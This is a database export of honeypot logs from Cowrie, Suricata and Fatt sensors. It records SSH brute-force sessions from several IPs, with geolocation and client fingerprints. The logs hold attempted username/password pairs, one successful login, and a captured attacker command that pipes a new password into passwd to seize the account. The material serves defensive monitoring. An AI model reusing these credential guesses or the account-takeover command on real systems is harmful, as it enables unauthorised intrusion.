19824	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:52.992442+03	2021-09-20 14:15:01.596612+03	{"_id": "fAXdAnwBvYTbRNuEqvWQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "119.29.153.168", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "341f760f2101", "@version": "1", "duration": 0.5645949840545654, "duplicate": true, "timestamp": "2021-09-20T11:00:52.992442Z", "@timestamp": "2021-09-20T11:00:52.992Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19825	132.148.165.94	109.199.241.180	Cowrie	2021-09-20 14:00:53.650628+03	2021-09-20 14:15:01.598614+03	{"_id": "egXdAnwBvYTbRNuEqvWQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "132.148.165.94", "eventid": "cowrie.login.failed", "message": "login attempt [kate/kate] failed", "session": "94001d4d4fd2", "@version": "1", "password": "kate", "username": "kate", "timestamp": "2021-09-20T11:00:53.650628Z", "@timestamp": "2021-09-20T11:00:53.650Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
19826	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:54.328248+03	2021-09-20 14:15:01.599613+03	{"_id": "gQXdAnwBvYTbRNuErvV4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.params", "message": [], "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:00:54.328248Z", "@timestamp": "2021-09-20T11:00:54.328Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19827	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:42.358318+03	2021-09-20 14:15:01.600613+03	{"_id": "LQXdAnwBvYTbRNuEf_Xu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "341f760f2101", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:00:42.358318Z", "@timestamp": "2021-09-20T11:00:42.358Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
19828	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:43.858485+03	2021-09-20 14:15:01.601613+03	{"_id": "LgXdAnwBvYTbRNuEg_V3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.login.success", "message": "login attempt [leech/leech] succeeded", "session": "341f760f2101", "@version": "1", "password": "leech", "username": "leech", "timestamp": "2021-09-20T11:00:43.858485Z", "@timestamp": "2021-09-20T11:00:43.858Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	\N
19829	119.29.153.168	109.199.241.180	Suricata	2021-09-20 14:00:44.702647+03	2021-09-20 14:15:01.603613+03	{"_id": "MAXdAnwBvYTbRNuEhvWR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "flow_id": 513933267706909, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58160, "dest_port": 22, "timestamp": "2021-09-20T11:00:44.702647Z", "@timestamp": "2021-09-20T11:00:44.702Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
19830	119.29.153.168	109.199.241.180	Fatt	2021-09-20 14:00:44.702748+03	2021-09-20 14:15:01.605613+03	{"_id": "MQXdAnwBvYTbRNuEh_Uu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 58160, "dest_port": 22, "timestamp": "2021-09-20T11:00:44.702748", "@timestamp": "2021-09-20T11:00:44.702Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
19831	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:44.421055+03	2021-09-20 14:15:01.606626+03	{"_id": "MgXdAnwBvYTbRNuEh_W_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 119.29.153.168:58160 (192.168.176.2:22) [session: 355afc3fd41b]", "session": "355afc3fd41b", "@version": "1", "protocol": "ssh", "src_port": 58160, "dest_port": 22, "timestamp": "2021-09-20T11:00:44.421055Z", "@timestamp": "2021-09-20T11:00:44.421Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
19832	42.192.44.134	109.199.241.180	Suricata	2021-09-20 14:00:34.769975+03	2021-09-20 14:15:01.607613+03	{"_id": "HgXdAnwBvYTbRNuEY_Vk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:00:34.266605+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "42.192.44.134", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "42.192.44.134", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1683738477072749, "payload": "AAADzAYUXWjJE6gHQ2TQl9nEM4JIZAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33982, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:00:34.769975Z", "@timestamp": "2021-09-20T11:00:34.769Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......]h....Cd....3.Hd...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
19833	42.192.44.134	109.199.241.180	Suricata	2021-09-20 14:00:34.766825+03	2021-09-20 14:15:01.609613+03	{"_id": "HQXdAnwBvYTbRNuEY_Vk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "42.192.44.134", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "42.192.44.134", "dest_ip": "192.168.20.116", "flow_id": 1683738477072749, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33982, "dest_port": 22, "timestamp": "2021-09-20T11:00:34.766825Z", "@timestamp": "2021-09-20T11:00:34.766Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
19834	42.192.44.134	109.199.241.180	Cowrie	2021-09-20 14:00:35.87527+03	2021-09-20 14:15:01.610613+03	{"_id": "HwXdAnwBvYTbRNuEZPU1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "42.192.44.134", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.192.44.134", "eventid": "cowrie.login.failed", "message": "login attempt [manoel/123456] failed", "session": "eca2c611d907", "@version": "1", "password": "123456", "username": "manoel", "timestamp": "2021-09-20T11:00:35.875270Z", "@timestamp": "2021-09-20T11:00:35.875Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
19835	42.192.44.134	109.199.241.180	Cowrie	2021-09-20 14:00:37.131995+03	2021-09-20 14:15:01.612612+03	{"_id": "IAXdAnwBvYTbRNuEbPUF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "42.192.44.134", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.192.44.134", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "eca2c611d907", "@version": "1", "duration": 2.613273859024048, "timestamp": "2021-09-20T11:00:37.131995Z", "@timestamp": "2021-09-20T11:00:37.131Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
19836	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:50.515373+03	2021-09-20 14:15:01.613612+03	{"_id": "ZwXdAnwBvYTbRNuEnvXV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "echo \\"leech\\\\nMqHLJaXGd8XA\\\\nMqHLJaXGd8XA\\\\n\\"|passwd", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.command.input", "message": "CMD: echo \\"leech\\\\nMqHLJaXGd8XA\\\\nMqHLJaXGd8XA\\\\n\\"|passwd", "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:00:50.515373Z", "@timestamp": "2021-09-20T11:00:50.515Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19837	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:50.111775+03	2021-09-20 14:15:01.614613+03	{"_id": "ZQXdAnwBvYTbRNuEnvXV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 32, "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "59adfc4ce505b27841f6572fec346927d8ce785a51bdf573fc90acbb76608f06", "src_ip": "119.29.153.168", "ttylog": "log/tty/59adfc4ce505b27841f6572fec346927d8ce785a51bdf573fc90acbb76608f06", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/59adfc4ce505b27841f6572fec346927d8ce785a51bdf573fc90acbb76608f06 after 0 seconds", "session": "341f760f2101", "@version": "1", "duration": 0.568352222442627, "duplicate": false, "timestamp": "2021-09-20T11:00:50.111775Z", "@timestamp": "2021-09-20T11:00:50.111Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19838	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:51.47217+03	2021-09-20 14:15:01.615613+03	{"_id": "aQXdAnwBvYTbRNuEovW-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.params", "message": [], "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:00:51.472170Z", "@timestamp": "2021-09-20T11:00:51.472Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19839	132.148.165.94	109.199.241.180	Cowrie	2021-09-20 14:00:54.785465+03	2021-09-20 14:15:01.617614+03	{"_id": "ggXdAnwBvYTbRNuErvV4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "132.148.165.94", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "94001d4d4fd2", "@version": "1", "duration": 1.7945184707641602, "timestamp": "2021-09-20T11:00:54.785465Z", "@timestamp": "2021-09-20T11:00:54.785Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
19840	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:54.891594+03	2021-09-20 14:15:01.619613+03	{"_id": "hQXdAnwBvYTbRNuErvV4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 21, "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "119.29.153.168", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "341f760f2101", "@version": "1", "duration": 0.5634348392486572, "duplicate": true, "timestamp": "2021-09-20T11:00:54.891594Z", "@timestamp": "2021-09-20T11:00:54.891Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19841	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:44.424103+03	2021-09-20 14:15:01.620613+03	{"_id": "NwXdAnwBvYTbRNuEh_W_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "355afc3fd41b", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:00:44.424103Z", "@timestamp": "2021-09-20T11:00:44.424Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", 